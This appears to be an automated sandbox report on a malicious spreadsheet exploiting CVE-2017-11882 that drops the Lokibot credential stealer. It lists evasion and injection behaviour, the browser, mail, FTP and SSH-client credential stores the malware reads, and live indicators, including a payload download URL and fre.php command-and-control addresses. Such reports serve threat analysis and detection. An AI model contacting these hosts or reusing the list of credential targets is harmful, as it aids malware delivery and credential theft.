Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_5-6942

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2364	Thread sleep time: -300000s >= -30000s			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe TID: 2836	Thread sleep time: -1020000s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_5-6747

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7C FindFirstFileA,FindClose,	4_2_00405D7C
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004053AA CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	4_2_004053AA
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00402630 FindFirstFileA,	4_2_00402630
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,	6_2_00403D74

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node			graph_4-3205
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	API call chain: ExitProcess graph end node			graph_5-6748

Source: vbc.exe, 00000004.00000002.465419977.0000000000894000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008B0EEB _memset,IsDebuggerPresent,

5_2_008B0EEB

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008B1B15 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_008B1B15

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00405DA3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

4_2_00405DA3

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008AF18E GetProcessHeap,

5_2_008AF18E

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008AE750 mov eax, dword ptr fs:[00000030h]	5_2_008AE750
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_00120402 mov eax, dword ptr fs:[00000030h]	5_2_00120402
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_00120616 mov eax, dword ptr fs:[00000030h]	5_2_00120616
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_001206C7 mov eax, dword ptr fs:[00000030h]	5_2_001206C7
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_00120706 mov eax, dword ptr fs:[00000030h]	5_2_00120706
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_00120744 mov eax, dword ptr fs:[00000030h]	5_2_00120744
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_0040317B mov eax, dword ptr fs:[00000030h]	6_2_0040317B
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008AE750 mov eax, dword ptr fs:[00000030h]	6_2_008AE750

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008AFEB0 SetUnhandledExceptionFilter,	5_2_008AFEB0
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 5_2_008AFEE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_008AFEE1
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008AFEB0 SetUnhandledExceptionFilter,	6_2_008AFEB0
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: 6_2_008AFEE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_008AFEE1

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Memory written: C:\Users\user\AppData\Local\Temp\xmtxpy.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Process created: C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\xmtxpy.exe C:\Users\user\AppData\Local\Temp\npotbzd	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008B350C cpuid

5_2_008B350C

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 5_2_008AF9DD GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_008AF9DD

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00405AA7 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

4_2_00405AA7

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe

Code function: 6_2_00406069 GetUserNameW,

6_2_00406069

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xmtxpy.exe PID: 2260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: xmtxpy.exe PID: 2556, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: PopPassword		6_2_0040D069
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	Code function: SmtpPassword		6_2_0040D069

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\xmtxpy.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db	Jump to behavior

Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.xmtxpy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.xmtxpy.exe.130000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.xmtxpy.exe.400000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.464120998.0000000000130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.461992324.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.463022626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.460963189.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	12 Native API	Path Interception	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	15 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	13 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 Access Token Manipulation	2 Obfuscated Files or Information	2 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	1 Man in the Browser	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	111 Process Injection	1 Extra Window Memory Injection	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Masquerading	NTDS	26 System Information Discovery	Distributed Component Object Model	1 Email Collection	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Virtualization/Sandbox Evasion	LSA Secrets	131 Security Software Discovery	SSH	1 Clipboard Data	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Access Token Manipulation	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Process Injection	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
_2201S_BUSAN_HOCHIMINH_.xlsx	35%	Virustotal		Browse
_2201S_BUSAN_HOCHIMINH_.xlsx	33%	ReversingLabs	Document-OLE.Exploit.CVE-2017-11882

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	21%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.win32[1].exe	23%	ReversingLabs	Win32.Backdoor.Androm

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.xmtxpy.exe.400000.11.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.xmtxpy.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.xmtxpy.exe.400000.15.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
5.2.xmtxpy.exe.130000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.xmtxpy.exe.400000.13.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.xmtxpy.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.xmtxpy.exe.400000.9.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.0.xmtxpy.exe.400000.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://198.46.132.195/windowSSH/.win32.exe	8%	Virustotal		Browse
http://198.46.132.195/windowSSH/.win32.exe	100%	Avira URL Cloud	malware
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://asiaoil.bar//bobby/five/fre.php	1%	Virustotal		Browse
http://asiaoil.bar//bobby/five/fre.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
asiaoil.bar	172.67.197.66	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://198.46.132.195/windowSSH/.win32.exe	true	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
http://asiaoil.bar//bobby/five/fre.php	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_Error	vbc.exe, vbc.exe, 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000000.452029619.0000000000409000.00000008.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, .win32[1].exe.2.dr	false		high
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000002.465324475.0000000000409000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000000.452029619.0000000000409000.00000008.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, .win32[1].exe.2.dr	false		high
http://www.ibsensoftware.com/	xmtxpy.exe, xmtxpy.exe, 00000006.00000000.460143750.0000000000400000.00000040.00000400.00020000.00000000.sdmp, xmtxpy.exe, 00000006.00000002.669282613.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.46.132.195	unknown	United States	36352	AS-COLOCROSSINGUS	true
104.21.49.244	unknown	United States	13335	CLOUDFLARENETUS	true
172.67.197.66	asiaoil.bar	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	569962
Start date:	10.02.2022
Start time:	10:20:40
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	_2201S_BUSAN_HOCHIMINH_.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
